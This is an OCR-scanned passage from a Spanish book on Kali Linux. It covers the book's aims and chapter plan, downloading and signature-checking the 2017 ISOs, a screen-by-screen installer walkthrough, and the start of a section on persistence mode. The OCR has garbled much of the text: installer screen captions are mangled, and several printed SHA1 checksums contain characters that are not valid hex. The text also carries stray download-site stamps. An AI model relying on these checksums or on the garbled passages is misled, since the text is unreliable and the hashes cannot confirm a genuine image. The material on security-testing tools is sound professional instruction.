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INTRODUCCION

Los pentests, tests de intrusion o test de penetracion son unas auditorias de
seguridad activas, por las que el auditor utiliza con permiso explicito del duefio de
unos sistemas informadticos y contra los susodichos sistemas las herramientas que
los atacantes emplearian para poder atacar. Comparte técnicas, y herramientas con
lo que es el hacking -tal y como entiende esta palabra la sociedad y los medios de
comunicacion, aunque la palabra hacking tiene un significado muy distinto para los
especialistas en informatica— La diferencia es que el hacking busca al final de la
operacion el defacing -es decir, cambiar la pdgina para mostrar que se ha “estado
ahi”-, el robo de informacidn, la alteracidn de la informacion, o simplemente el hacer
dano. Por otro lado, el pentest se hace, como hemos comentado, con el conocimiento
y consentimiento del propietario; y para cuando se encuentra la vulnerabilidad; con
el objeto de documentarlo, y poder explicarla al cliente para que la solucione y no le
ataquen por ese camino.

La informdtica forense tiene también su propia problemadtica. En informatica
forense es clave preservar la prueba y no alterarla. Por ello, requiere de unas
herramientas que no “monten” de forma automadtica la unidad, y nos permitan
volcarla y posteriormente analizarla sin alterarla lo mds minimo, de forma voluntaria
0 involuntaria.

Kali es actualmente la distribucion de Linux de referencia para la realizacion
de tests de intrusion, y trabajos de informatica forense. Tiene todas las ventajas de una
Debian en nimero de paquetes y extensa documentacion, unidas a una gran cantidad
de aplicaciones preinstaladas, y unos modos de trabajo en live, live forensics y en
persistencia que la hacen ideal para el trabajo del especialista de seguridad.

El objetivo de este libro es dar primero una vision introductoria a Kali: qué
es, y como se instala. Qué es y como se configura el modo de persistencia —de utilidad
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extrema para desplazarse con la herramienta-. Cudl es la mecdnica para hacer una
prueba de intrusion con Kali. Cuales, de los cientos de herramientas que se dispone
en Kali, serdn las herramientas mds ttiles en cada fase del test de intrusion, y cémo
se utilizan. Y cdmo arrancar y utilizar Kali en modo forense para generar imdgenes
de disco sin alterar la prueba, y como manejar esas imdgenes.

El libro se divide en los siguientes capitulos:

1. La distribucion Kali

2. Kali para tests de intrusion. Fases de un test de intrusion
3. Recogida de informacidn inicial con Kali
4. Analisis basico de vulnerabilidades
5. Ataques a contrasenas
0. Auditorias a redes Wifi
7. Auditorias a aplicaciones web
8. Metasploit

9. Advertencia legal

10. Andlisis forense con Kali

Esperamos que sean de utilidad para tu futuro profesional.



LA DISTRIBUCION KALI

Kali es una distribucion de Linux basada en Debian, disefiada para la auditoria
de seguridad, los tests de intrusidn y la informdtica forense. Es una mejora sobre la
muy conocida y ya obsoleta BackTrack. Mientras que BackTrack no se actualiza
desde el 2012, Kali estd muy activa y su ultima versidon estable en las fechas en las
que se escribe este libro es de Septiembre del 2017: la Kali 2017.2.

Al ser basada en Debian, podemos hacer todo lo que se puede hacer en una
Debian. La instalacion de paquetes es la misma, y la configuracion es analoga. Los
documentos y la informacion que podemos encontrar en Internet sobre Debian, nos
valen para Kali.

Kali estd mantenida por una empresa -Offensive Security Ltd.-. Utiliza
paquetes GPL, por lo que el cddigo fuente estd disponible. Su desarrollo estd muy
focalizado en un grupo pequefio de desarrolladores de confianza, que firman los
paquetes con GPG para evitar troyanos en la distribucidn.

Kali estd disponible a las arquitecturas Debian i386 -32 hits-, AMD64
-64 bits-, y ARM -armel y armhf-. Esta tltima versién permite utilizar Kali desde
Raspberry Pi, o un Samsung Galaxy Note, entre otros dispositivos ARM -de hecho,
funciona para muchos dispositivos Android 2.1-. Se distribuye en versiones light y
completa; y es posible obtener imdgenes para VMWare y VirtualBox de Kali. Ademas,
mediante un mecanismo no excesivamente complicado, es posible descargar via GIT
el cddigo fuente de Kali y el bootstrap del CD; y compilar una Kali “a medida”, que
tenga exactamente lo que queremos.

Kali incluye mds de 600 aplicaciones para auditoria de seguridad e
informdtica forense; incluyendo escdneres de puertos -como NMAP-, sniffers -
como Wireshark—, suites de crackeo Wifi —como Aircrackng—, suites para construir
troyanos y exploits —-como Metasploit-, 0 programas para descubrir claves —-como
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John the Ripper-. Incluye también un modo forense de arranque, en el que el disco
duro no se utiliza en absoluto: aunque encuentre una particion swap no se usa ni
se monta, no se monta ninguna particion del disco, y se desactiva el automontado.
Tampoco levanta de forma automadtica las tarjetas de red. Kali utilizado desde un
llavero USB o desde un CD es una herramienta forense excepcional.

1.1 DESCARGANDO KALI 2017.2

Podemos descargar la imagen de la Kali de la web:
https://www.kali.org/downloads/
Una vez que la hemos descargado, podemos descargarnos la clave

PGP de Kali:

wget -q -O - https://www.kali.org/archive-key.asc | gpg --import
Debiendo salir algo parecido a:

gpg: clave 7D8DOBF6: clave ptiblica "Kali Linux Repository
<devel@kali.org>" importada

gpg: Cantidad total procesada: 1

gpg: importadas: 1 (RSA:1)

Descargamos las firmas digitales SHAISUMS y SHA1SUMS.gpg, y
verificamos la firma digital:

wget http://cdimage.kali.org/kali-2017.2/SHA1SUMS
wget http://cdimage.kali.org/kali-2017.2/SHA1SUMS.gpg
gpg --verify SHA1SUMS.gpg SHA1SUMS

Debe aparecer algo similar a:

gpg: Firmado el lun 18 sep 2017 20:50:52 CEST usando clave

RSA ID 7D8DOBF6

gpg: Firma correcta de "Kali Linux Repository <devel@kali.

org>"

gpg: ATENCION: jEsta clave no esta certificada por una

firma de confianza!

apg: No hay indicios de que la firma pertenezca

al propietario.
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Huellas dactilares de la clave primaria: 44C6 513A 8E4F
B3D3 0875 F758 ED44 A4FF0O 7D8D OBF6

Lo importante es que aparezca “clave RSAID 7D8DOBF6” y “firma correcta”
si no aparece, es que nos estan intentando colar un fichero SHA 1 manipulado.

Despusés, basta con descargar Kali; por ejemplo, para la Kali completa para
arquitecturas AMDG64:

wget http://cdimage.kali.org/kali-2017.2/kali-linux -2017.2-amd64.iso
Y la Kali completa para arquitecturas i386:
wget http://cdimage.kali.org/kali-2017.2/kali-linux -2017.2-i386.iso

Finalmente, verificamos la firma de los archivos que hemos descargado;
haciendo:

shalsum kali-linux-2017.2-amd64.iso

Lo que da:

18dc614dcad01b854e40f0b189975b8978544068 kali-linux -2017.2-amd64.iso
O:

shalsum kali-linux-2017.2-i386.iso

Lo que da:

1fc806f4bd10016ed60c1f07c9b27clac37df0d3 kali-linux -2017.2-i386.iso

Vemos las firmas SHA1 de estas imagenes en el archivo cuya firma GPG
hemos comprobado:

cat SHA1ISUMS

Obteniendo:

18dc614dca401b854e40f0b189975b8978544068 kali-linux -2017.2-amd64.iso
1fc806f4bd10016ed60c1f07c9b27clac37df0d3 kali-linux -2017.2-i386.iso
f2476071cb6f94b061d42273063e804114595325 kali-linux-el7 -2017.2-amd64.iso
9c6d5e051ef951e6c2b1468aa39e62c69f31f115 kali-linux-kde -2017.2-amd64.iso
0387b4da71fb118e42d6672af8c957ff65d40f21 kali-linux-light -2017.2-amd64.iso
€734c008dced8b87ce66672b051eb56e7f33a810 kali-linux-light -2017.2-i386.iso
83d312h844b180582e4033c6268ae00e476bddea kali-linux-Ixde -2017.2-amd64.iso
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2b85b4536d634cf5b7cf407107a88083¢c323b769 kali-linux-mate -2017.2-amd64.iso
blc7b0e082159e4a35a630ddee9767b7374fb0c5 kali-linux-xfce -2017.2-amd64.iso
f653072d889a72620bb51fce4539fb7clee9b201 kali-linux-light -2017.2-armel.img.xz
cf65c89f0da599bb01a21e8d698e729eac2616c0 kali-linux-light -2017.2-armhf.img.xz

Debe coincidir, en cualquier caso. Si no coinciden, algo ha fallado en la
descarga.

Lo siguiente es grabarla en DVD o CD con el programa de grabacidn favorito
-también funciona volcando la imagen en un llavero USB; lo que podemos hacer
con cat 0 con dd-. Finalmente, la instalacion, es idéntica a la de una Debian; vamos
a pasar a comentarla mds adelante.

1.2 DESCARGANDO KALI 2017.1

La diferencia entre Kali 2017.2 y Kali 2017.1 es que la 2017.2 tiene los
paquetes mds actualizados. Es cierto que la Kali 2017.2 trae en el DVD algin
paquete adicional, que no instala en la instalacidn; pero si instalamos desde la
Kali 2017.1, después de hacer el apt-get update, estos paquetes estaran accesibles
para su instalacion. En cualquier caso, instalemos desde Kali 2017.1 o desde Kali
2017.2, después del apt-get dist-upgrade tendremos los mismos paquetes instalados,
y las mismas versiones de estos paquetes. Si ya tenemos instalada la Kali 2017.1,
no necesitamos reinstalar la Kali 2017.2 si actualizamos paquetes. Y si hemos
descargado la Kali 2017.1, podemos hacer el proceso de instalacion desde un DVD
o un USB con la Kali 2017.1; recordando hacer la actualizacion de paquetes al final
del proceso, tal y como comentaremos en este libro.

Es importante que tengamos en cuenta que, salvo el proceso de descarga,
no vamos a observar diferencias significativas ni en el proceso de instalacion ni en
los procesos posteriores de configuracion: el salto entre ambas versiones es apenas
actualizacion de paquetes.

El proceso de instalacion para la Kali 2017.1 es idénticos que para la Kali
2017.2; con la diferencia de que descargamos las firmas digitales SHA1SUMS y
SHA1SUMS.gpg, y verificamos la firma digital con:

wget http://cdimage.kali.org/kali-2017.1/SHA1SUMS
wget http://cdimage.kali.org/kali-2017.1/SHA1SUMS.gpg
gpg --verify SHA1SUMS.gpg SHA1SUMS
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Ahora debe aparecer algo similar a:

gpg: Firmado el dom 23 abr 2017 17:45:20 CEST usando clave RSA ID 7D8D0BF6
gpg: Firma correcta de "Kali Linux Repository <devel@kali.org>"
gpg: ATENCION: |Esta clave no esta certificada por una firma de confianza!
apg: No hay indicios de que la firma pertenezca al propietario.
Huellas dactilares de la clave primaria: 44C6 513A 8E4F
B3D3 0875 F758 ED44 4FF0 7D8D OBF6

Como en el caso anterior, lo importante es que aparezca “clave RSA ID

7D8DOBF6” y “firma correcta” si no aparece, es que nos estan intentando colar un
fichero SHA 1 manipulado.

Despusés, basta con descargar Kali; por ejemplo, para la Kali completa para
arquitecturas AMDG64:

wget http://cdimage.kali.org/kali-2017.1/kali-linux -2017.1-amd64.iso
Y la Kali completa para arquitecturas i386:
wget http://cdimage.kali.org/kali-2017.1/kali-linux -2017.1-i386.iso

Finalmente, verificamos la firma de los archivos que hemos descargado;
haciendo:

shalsum kali-linux-2017.1-amd64.iso

Lo que da:

05765cbb81dfc898adddeedcla27a7c2e888f796 kali-linux -2017.1-amd64.iso
O:

shalsum kali-linux-2017.1-i386.iso

Lo que da:

79f67e131e1514d884007b24cfd4976383e69a24 kali-linux -2017.1-i386.iso

Vemos las firmas SHA1 de estas imagenes en el archivo cuya firma GPG
hemos comprobado:

cat SHA1SUMS
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Obteniendo:

05765cbb81dfc898adddeedcla27a7c2e888f796 kali-linux -2017.1-amd64.iso
79f67e131e1514d884007b24cfd4976383e69a24 kali-linux -2017.1-i386.iso
e37dcl47adc2d1d5fcld151a60e3c04bfbdbdc84 kali-linux-el7 -2017.1-amd64.iso
474932ced686e7e7756d2236f7eb6ff3f7187956 kali-linux-kde -2017.1-amd64.iso
080607004800bcd79f225f437b10fa611d7bc414 kali-linux-light -2017.1-amd64.iso
9e7dcdee2025cf29f6eb5e250530ecc68479f73b kali-linux-light -2017.1-i386.iso
d59bcedb4053eaef3de2fe8eaebbcfcf7edad0cO kali-linux-Ixde -2017.1-amd64.iso
75cd89a8eb2a0700349a6827d20a61lacfal87e80 kali-linux-mate -2017.1-amd64.iso
384c2d8aa7lc7bd8eala2ec94e7358a9268b44b4 kali-linux-xfce -2017.1-amd64.iso
19c2ee9320d9894321408ccda66eb101352d52fc kali-linux-light -2017.1-armel.img.xz
853847f616dd92cdc8a0bd8b0elc8e8d40da7808 kali-linux-light -2017.1-armhf.img.xz

Debe coincidir, en cualquier caso. Si no coinciden, algo ha fallado en la
descarga.

Como en el caso anterior, lo siguiente es grabarla en DVD o CD con el
programa de grabacion favorito -también funciona volcando la imagen en un Illavero
USB; lo que podemos hacer con cat 0 con dd-. Finalmente, la instalacidn es idéntica
a la de una Debian: la comentaremos mds adelante.

1.3 DESCARGANDO KALI DEL REPOSITORIO GIT

Finalmente, podemos construir una Kali customizada con la secuencia de
comandos:

apt-get install git live-build cdebootstrap

git clone git://git.kali.org/live-build-config.git
cd live-build-config

./build.sh --distribution kali-rolling --verbose

No vamos a entrar en detalle en este libro en como se hace una Kali
customizada, porque no serd algo que utilicemos habitualmente.

1.4 INSTALACION DE KALI

Llegamos desde la Kali 2017.2 o desde la Kali 2017.1, de aqui en adelante
los pasos son idénticos. Instalar Kali sigue un proceso andlogo al de cualquier otra
distribucion derivada de Debian. Arrancamos desde el DVD que hemos descargado:
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KALI

=ile Huleter youbeconiey the more you are able to hear”

Boot menu

Live (amd64)

(check kali.o
rsiztence (check kali.org

ch synthesis

Y seleccionamos a instalar -Install-. Después de un tiempo de espera en el
que arrancard el instalador, seleccionamos idioma -espanol-:

auttans
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Nos va a avisar que la traduccidn es incompleta, pero eso no es problema.
Nos aparecerd en inglés lo que no esté traducido. Decimos que si:

<Tabr muewe: <Espacio: selecclonz; <Intror activa un botdn

Seleccionamos como ubicacidn para zona horaria el lugar donde estamos:

<Tab> mueve; <Espacio»> selecclona; <Intro: actliva un botdn
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Seleccionamos el teclado:

[11] configure el teclado

Mapd de teclado a Usar:

Kirghizo

Careano

Kurdo (variante F)
Kurdo (variante @)
Laosiang
Latinoamericano
L=ton

Lituang

Macedonio
Malayalamo

Mzpales
‘Bami ssptentrional
Moruego

Fersa

Flliping

Folaco

Partugués

Panyabi

Rumano

Ruso

‘Eerbio (cirilico)
Sindhi

Cingales

Ezlovaco

Esloveno

<Retroceders

activa un botan

Y ahora esperamos un rato. Tendremos que configurar la IP, o aceptar la
configuracién del servidor DHCP:

{ Intentsndo autoconfiguracion IPwA...
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Después indicamos el nombre que le pondremos a la maquina:

[1] Configurar la red |

Por fawvar, introduzca el nombre de la méguing.

El nombre de maquina es una sola palabra gue identifica el sistema en la red. Consulte al
adminlstrador de red =1 no sabe gué nomare deberia tener. S1 esta configurando una red
domestice pusde inwventarse este nombre.

Hombre de la maguina:

<Retroceder:. ¢Cont inuary.

cToh miepue: Fenarins calepcrinona: «Tnteos activa on haton

Y el nombre del dominio -lo que dejamos en blanco, si no sabemos qué
hacemos-:

| [1] Configurar la red |

El nombre de dominio es la parte de su direccidn de Internet a la derecha d2l nombre de
sistema. Habituslments es algo gue termina por .com, .ret, .edu, o .org. Pusde
inwentarselo si estad instalando una red doméstica, pero aseglrese de utilizar el mismo
ronbre de dominio en todos sus ordenadores.

Wombre de dominio:

<Retroceder> <Cant Lnuar:

Loz selecclionas <Intro: activa un botdn
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Indicamos la clave de root:

[11] Conflzurar usuarios Y contrasefias

Mecesita definir una contrasena para el superusuario (#root®) , la cuenta de
‘administracion del sistema. Podrla tener graves consecuencias que un usuario malicioso o
un ususrio sin ls debida cualificacidn tuviera acceso a la cuenta del administrador del
sistems, asi que debe tener cuidado u elegir un La contrasefia para £l sUperusuarlo gue no
zea facil de adivinar. Mo deberla ser una palabra oue se encuentre en el diccionario, o
una palabra que pueda ssociarse facilmente con usted.

Ura buena contrasefia debe contener una mezcla de letras, nﬂnerns Y slgnos de puntuaclon,
Y debe cambiarsz regularmenie.

Lz contrasefia del usuario 4rooty (adminiztrador) no deberla estar en blanco. Sideja este
walar en blsnco, entonces se deshabilitard la cuenta de root creard una cuenta de usuario
3 la gue se le daran permisos para convertirse en usuario administrador utilizando la
orden #sudon.

Tenga en cuenta gue no podra ver la contrasefa mientras la introduce.

Clave oel superusuario:

[ 1 ShowsBasswords Lo Gleas

<Retroceders <Cont inuars

activa un botan

Y la repetimos, exactamente igual:

(11T Configurar usuarios u contrasefas |

Por favor, introduzca la misma contrasefs de superusuario de nuevo para verificar gue la
[ntrodulo correctanente.

Yuslva a introducir la contrasefia pera su verificacidn:

<Retrocedersy <Cont indars

tiva un hotdn
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Las versiones de Kali hasta la 2017.1 no piden crear un usuario adicional
que no sea root. La version 2017.1 ya lo pide; introducimos primero el nombre real
de este usuario que no tendra el privilegio de administrador:

{ [1!] Configurar usugrios 4 contrasefas f

SE Creard una cuents de usuario para gue la use en vez de la cuenta de superusuario en
sUs tareas fgue no sean administrativas.

Por favor, introduzca el nombre real de este usuario. Ezta informacion geiusaPé, par
ejemplo, como el origen predeterminado para los correos enviados por el wsuario o como
fuente ce informacién para los programss gue muestren el nombre real del usuario. Su
nombre compgleto es una eleccldn razonahble.

Mombre completo pars el nuevo usuario:

{Retroceder? <cont inuars

<Intror actlva un botdn

Introducimos el login que utilizara:

[1!] Configurar usuarios y contrasefas |

Seleccionz un nombre de usuario psra la nueva cuents. Su norbre, sin spellidos ni
espacios, s ung eleccifn rezonable. E1 nombre de usuario debe empezar con una letra
mindscula, segulda de cualguler comblnacion de ndmeros 4 mas letras mindsculas.

MNombre de usuario para la cuenta:

<Retroceders <tontinuars
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Introducimos la clave que queramos que utilice:

| [1!] Configurar usuarios y contrasefias
Una buena contrasefia debe coniener una mezcla de letras, nimeros u signos de puntuacion,

Y tebe cambiarse regularmente.

Elljs una contrasefia para el nuevo usuarlo:

Retrocedsrs <Cont inuary

Y confirmamos la clave, repitiéndola:

[1!] Contleurar usuarios u contrasenas |

Por favor, introduzca la misma contrasefiz de usuario de nuevo para verificar oue la
introdujc correctamente.

VUelva 3 introducir 1a contrasefia para su verif icacldn:

<Retrocedery {CONT inuars

hs miipw=: JFerarint cpleccinna: T Artia i _‘||‘|T|"-||'|
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Indicamos la zona horaria, a través de la ubicacion:

[1]1 Configurar el reloj |

51 la zona horaris deseada no esta en la lista entonces vuelva atras al paso {Escoja el
idiomas u s2leccione un pals gue utilice 1a zona horaria deseada (el pals donde wive o
esta ubicadol.

selecclone una ublcacldn en su zona horarla:

Peninsila
Ceuta y Helilla
Izlas Canarias

{Retroceders

Wa un botdn

Y llegamos al particionado. Primero seleccionamos el disco que queremos parti-

[11]1 Particionado de discos |
Este es un resumen de las nartlclnngs Y puntos de montaje cue tiene configurados
actualmerte. Seleccione una particidn para modificar sus velores (sistema de ficheros,
puntos de montaje, etc.), el espacio libre para anadir una particion nueva o un
dispositivo para inicializar la tabla de particiones.

Farticionado guiado
Configurar los uvollmenes [SCET

= Bi.BN GEATE %BHA HARMDTSE

Deshacer loz canmbios reslizados & 1as particiones
Firnalizar el particionado 4 escribir los cambios en el disco

<Retroceder:

> para auudas <Tabs mieve: < i elecciona: <Intro: activa un bo

cionar:

Si el disco no tiene tabla de particiones, nos preguntard si queremos crearla:
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- [4!] Particlonsdo de discos |
Ha seleccionado particionar el dispositivo completo. Si continda creard una tabla de
particiones en el dizpositivo 4 se eliminaran todas las particiones oue existian
previamente.

Ohserve gue podrd deshacer esta operaclion mss adelante s1 1o desea.

dCrear una nueva tabls de particiones vacla en este dispositiva?

<Retroceders

ciona; <Intro un botdn

En cuyo caso, nos aparece el espacio libre, y podemos seleccionar -ahora
si- el disco:

- [11] Particionsdo de dizcos |

Este es un resumen de las particlones y puntos de montale gque tlene conflzurados
actualmente, Seleccione una particion para modificar sus valores (sistema de ticheros,
puntos de montaje, etc.), el espacio libre para afadir una particion nuews o oun
disgpositivo para inicializar la tabls de particiones.

Farticionado guiado

Configurar RALD por software

Configurar el Gestor de Yolimenzs Logicos (LWM)
configurar los wollimenes cifrados

Configurar los wollmenes iSCSI

WED% HARDD

prislog 8.6 BB ESPACI LIBRE

Oeshacer los cambios realizados 2 las particiones
Finalizar el particionado 4 escribir los cambios en el disco

{Retroceders

tiva un batan
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Lo seleccionamos, y decimos que queremos crear una particion nueva:

| [11] Particionado de discos

‘Lm0 usar Este especlo libre:

ezas/Sectores

<Retroceders

“E1% nmarma ainics sTahs moewes fFoernacrin: celarcinma: sTatens activs un bntan

Después indicamos el tamafo. Ojo, 8’6 GB es el minimo. Si queremos tener
algo de margen de maniobra para poder trabajar con Kali, el minimo recomendado
es 16 GB:

1 [!!] Particiorado de discos |
EL tamafio maximo para esta particlon es 8.6 GB.

Nota: puede utilizar "max' como una forma rdpids de especificar el wvalor maximo, o
introducir un porcentaje (p.ej. "20%') para utilizar ese porcentaje del tamano masimo.

Muewo tamano de particion:

<ReTrocecer: <cantinuars

Ecciong; <Imtroy activa un botion
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Seleccionamos la particién como primaria:

[11] Particionado de discos

Tipo de la nueva particlon:

Lozica

<Retroceder:

Configuramos la particion. Por defecto viene con ext4fs:

- [11] Particionado de discos |

Estd editando la particlin #1 de SCSI1 (0,0,0) isda). MO se ha detectado ningln sistena
de ticheros en esta particion.
Configuracidn de la particidn:
sistemna de ficheros extd transacclonal

Punto de montais: s

Opciones de montaje: defaults

Etigueta: ninguno

Blogues reservados: 5%

Uso habitual: estandar
Marca de arranoue: desact ivada

Borrar la particion
Se ha terminado de definir la particion

cRetroceder:

activa un hoton
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Aunque personalmente recomiendo cambiarlo por XFS:

[11] Particionado de discos |

Estd editando la particidn #1 de SC3I1 (0,0,0) isds). No se ha detectado ningin sistema
de ficheros en esta particibn.

Configuracion de la particion:

Uil izar canmo: 515 de fiEherns tRansscEional AES

Funto de montaje: )

Opclones de mortaje:  defaults
Etiguets: ninduno
Marca de arrangue: desactivada

Borrar la particion .
S8 ha terminado de definir 1& particion

<Retroceders

iva un botan

Activamos la marca de arranque:

[11] Particionado de discos |

Estd editando la particion #1 de SCSI1 (0.0,0) isda). Ho se ha detectado ningln sistema
de ficheros en esta particion.

confleguraclin de la partlcion:

Utilizar como: sistema de ticheros transaccional XFS

Funto ce montaje: s
Opclones de montaje: defaults
Etiguets: ningunag
Marca de arcancgle: activada

Borrar la particidn
Se ha terminado de definir la particidn

cRetroceders

2 MUEYE; 0EC ] ecciong; <Intro: activa un boton

Descargado en: eybooks.com


Android
Typewriter
Descargado en: eybooks.com
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Y ya seleccionamos que hemos terminado de definir la particion:

<F1» para ayuda:; <Tab: muewe; <Espacio: selecclona; <Intro> activa un boton

Seleccionamos la opcion de finalizar el particionado, y escribir los cambios:

<F1: para ayuds; <Tab: mueve; <Espacio: selecclonas; <Intror activa un hoton
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En este ejemplo concreto no he configurado una particion especifica para
memoria de swap, ya que personalmente prefiero definir luego a mano un fichero de
swap. Si estamos de acuerdo con hacer eso, seleccionamos la opcion No:

[FI1]1 Particionado de discos |

Mo ha selecciopado ung particidn pars gue se use como espacio de intercambio. E1 uso de

un especlo de intercambio es recomendabls para gque el sistema pueda hacer un mejor uso de
1z memoria flsice disponible u para que se comporte mejor si la memoria fisica es escasa.
Puede =ufrir algin problema durante la instalacion =i no tiene suficiente memoria filsica.

La instalacion continuard sin gspacio de intercambio si no wuelve al mend de particionaco
y asigra un punto de montaje a la partlcidn de intercanbio.

ADesea wolver al mend de particionado?

<Retroceders

glecciona: <Intr activa un hotdn

Marcamos que deseamos escribir los datos en los discos:

[11] Particionado de discos |

Se escribirdn en los discos todos los cambios indicados & continuacion si continda. 51 no
1o hace podrd hacer camblos manualmente.

Se han moditficadn las tahlas de particliones de los sigulentes dispositivos:
SCSI1 (0,0,0) (sda)

SE formAatearan las siguientes particiones:
particion #1 de SC5T1 (0,0,00 (sda) como xfs

ablesea escribir los cambios en los discos?

elecciona: <Introd activa un boton
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Y pasamos a instalar el sistema. Aqui debemos tener paciencia, porque el
proceso puede ser largo:

| Instalanco el sistema... [

Copiando datos & diseo. ..

Nos pregunta si queremos utilizar una réplica de red. Si disponemos de
conexidn a Internet, es muy recomendable que marquemos que si:

1 [!] Configurar el gestor de paguetes |

Puede utilizar una réplica en red para complemEntar 1os progranas incluidos en el CO-ROM.
Esto también puede hacer que tenga a su disposiclion nuevas uversiones e loz progranas.

dDesea utilizar una réplica en red?

<Retroceders

CTak: muey pac 1 selecciona; <Intror activa un hoton

En caso de que marquemos que si, nos pregunta por el proxy. Si no sabemos
lo que es, 0 no lo necesitamos, lo dejamos en blanco y le damos a continuar:
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| [!] Configurar el gestor de paguetes |

=i tiene gue usar un prox<y HTTF para acceder a la red, introduzea a continuacion la
intormacion sabre el proxy. En caso contrario, déjelo en blanca.

La informacion del proxu debe estar en el formato
shitp:ss [ lusuariol [:contrasenal @] servidor [:puertol /%

Intormacion de proxy HTTP {en hlanco si no desea usar ninguno):

cRetrocedars <Continuar:

Lo siguiente serd instalar Grub, el cargador de arranque:

| Instalando el cargador de arrangue GRUE |

Ejecutando dpke

Es recomendable decir que deseamos instalar Grub en el registro principal
de arranque:

[!] Instalar el cargador de arrangue GRUB en un dlsco duro

Parece gue esta instalacifn es el Onico sistera operativo en 21 ordenador. 5i esto es
asl, pusde instalar sin Piesgo; el cargador de arrangue GRUB =n el registro principal de
arranguez del primer disco duro.

fAvlso: 51 el instalador no pudo detectar otro sistems operativo [nstalado en el sistema,
la modificacion del registro principal de arrangue hara gue ese sistema operativo no
puzde arrancarse. Sin evbargo, podeE configurar GRUE manuslmente mas adelante para
arrancarlo.

d0esea instalar el cargadar de arrangue GRUB en el registro principal de arrangue?

<Retroceders ER [l

8 un botan
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Para la cual, debemos también seleccionar el dispositivo de arranque de la
lista:

- [!1] Instalar el cargador de arrangue GRUE en un disco duro |

ﬂhoha debe CDﬂFlgUPﬁP el 51stema recién Lnstaladu para Hue sea arranceble, instalando
paPa ello el cargador GRUB en un dispositivo del gue se pueda arrancar. La forma haoltual
de hacerlo ez instalar GRUE en el registro prlﬁ:lpal e ar*ranﬂue (<{ma5ter oot r‘ecur‘dm
del primer disco duro, Si lo prefiere, puede instalar GRUB en cualguier otro purnto del
dizco duro, en otro disco duro, o incluso en un discuete.

Dispositivo donde instalar el cargador de arrangue:

‘Retroceders:

elecciona; <Intro: activa un hotdn

Estamos ya cerca del final. Cuando dice que la instalacion ha completado, no
apagamos el ordenador, sino le damos a continuar:

C[11] Termimar le instalacidn |

_ Instalacion {
Ld iﬁsialacrun'se hag Gmnlﬂtadu fhora PPahEﬁP El nuewn sistema. Asegirese de
; de i lacidn (CO-ROM o squetes] para que althstﬂma arrangue del
dascu en. lugar de reiniciar la instalacidn.

<Retroceders

act iva un boton
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Ya que todavia le quedan por hacer bastantes operaciones, ya que la
instalacion desde Kali hace mds operaciones aqui que una Debian comun:

1 Finalizando la instalacisn F

Ejecutanda renove-1ive-packages. . .

Un problema que tenia Kali en su 2016.1 es que su instalacion fallaba
completamente con el menor problema con un paquete en el DVD. La 2016.2 era
bastante sensible también al respecto. En la 2016.1 esto personalmente lo resolvia
utilizando la mini, y descargando los paquetes a instalar desde Internet. La 2016.2,
sin embargo, no tenia mini, y ademads el repositorio de la mini ya no estaba accesible.
Esto significaba que en algunos hardware con una tasa de fallos un poco mas alta de
la cuenta, el proceso de instalacion de la distribucidn era problemadtico.

Las Kali versiones 2017.2 y 2017.1 siguen sin tener version mini; y
aparentemente son algo mds estables en la instalacion que la version 2016.2; pero
la estabilidad del proceso de instalacion sigue dependiendo de que el hardware sea
lo suficientemente estable para soportar la instalacion “del tiron”. En concreto, las
instalaciones en las que un USB se particiona en dos, en una particion se vuelca la
imagen de Kali y se hace una instalacion limpia en la sequnda particion del mismo
llavero USB el que la instalacion funcione sin problemas o no depende de que la
controladora de USB sea de calidad y tolere la carga. Las instalaciones virtualizadas
y las instalaciones directas a disco duro no me han dado ningin problema; por lo
que en el uso habitual no dard problemas. De cualquier forma, utilizar la Kali asi
instalada nunca ha sido personalmente mi primera opcidn; personalmente prefiero la
modalidad de persistencia, por la problematica legal de este tipo de herramientas en
muchos paises.
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1.5 UTILIZANDO KALI SIN INSTALAR: LA MODALIDAD DE PERSISTENCIA

1.5.1 Porqué es interesante la modalidad de persistencia

Algunas personas prefieren no hacer una instalacion de Kali pura, como con
cualquier otra distribucion, sino una instalacion de persistencia.

La instalacion de persistencia bdsicamente consiste en que se utiliza la
imagen Live del DVD, pero se pueden instalar paquetes, almacenar paquetes y
guardar datos sobre ella.

Personalmente la considero interesante ya que podemos tener un Kali
plenamente funcional y personalizado en un llavero USB. Ademas, la Kali con
persistencia mantiene la posibilidad de arrancarla en modo forense; lo que la
convierte en una herramienta extremadamente potente.

Es importante que entendamos que una Kali con persistencia se puede
instalar perfectamente en un disco duro de un ordenador. Porque sea una Kali con
persistencia no significa necesariamente que se tenga que utilizar desde USB o desde
DVD; ya que podemos tener la ISO de Kali volcada en un disco del ordenador.
Aunque lo normal es que tengamos Kali en un USB, y luego utilicemos el disco u
otro USB como particion de persistencia.

Personalmente yo utilizo la Kali en persistencia habitualmente, dado que
utilizo con mucha frecuencia el modo forense. Mi instalacidn es que siempre llevo
cuando voy a cliente dos llaveros USB baratos, uno con la i386 en persistente, y otro
con la amd64 en persistente, asi como el DVD de Kali i386 y el DVD de Kali amd64
en persistente.

En el portdtil que tengo instalado la Kali, tengo solo la particion persistente
en el propio portatil, y la Kali separada en un llavero USB. Podria tener también la
de Kali, pero por motivos laborales viajo bastante, y algunas herramientas de Kali
no estan muy bien vistas en algunas jurisdiciones. Prefiero no arriesgarme, y llevar
la Kali en un llavero USB, de forma que no aparezca lo de “Kali” al encender el
portdtil y no tener que dar mds explicaciones de las estrictamente necesarias a las
policias aeroportuarias. Si te solicitan encender el portdtil y dar tu clave, en todas las
jurisdisciones que conozco debes hacerlo -luego, igual en alguna puedes reclamar,
y hasta en alguna jurisdiccion puede que te den la razén. Pero yo no contaria con
ello-. Es importante entender que la criptografia fuerte es ilegal en muchas partes del
mundo; que paises como Espafia tienen restricciones a la importacion y la exportacion
de la criptografia, que las herramientas para atacar sistemas son ilegales en muchas
jurisdicciones, como la espanola; y que lo normal es que la policia aeroportuaria
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pueda solicitar revisar el contenido de tu portdtil si lo estima procedente, sin
autorizacion judicial. Por regla general, es mds comodo pasar el portdtil con una
particion de persistencia sin cifrar, y cuando lleguemos a nuestro destino descargar
una nueva ISO de Kali.

Para instalar una Kali en persistencia, lo debemos hacer desde un Linux ya
preexistente. Aunque es técnicamente posible hacerlo desde otros sistemas operativos,
los pasos serdn distintos de los aqui descritos. Sino trabajamos habitualmente sobre
Linux, podemos arrancar desde Kali, hacer los pasos que indicamos en este libro, y
reiniciar ya en modo persistencia.

1.5.2 Creando una particion de persistencia

1.5.2.1 CREACION DE UNA PARTICION DE PERSISTENCIA PARA EJECUCION
VIRTUALIZADA DE KALI

Este es el escenario que recomiendo para practicar y aprender a utilizar Kali;
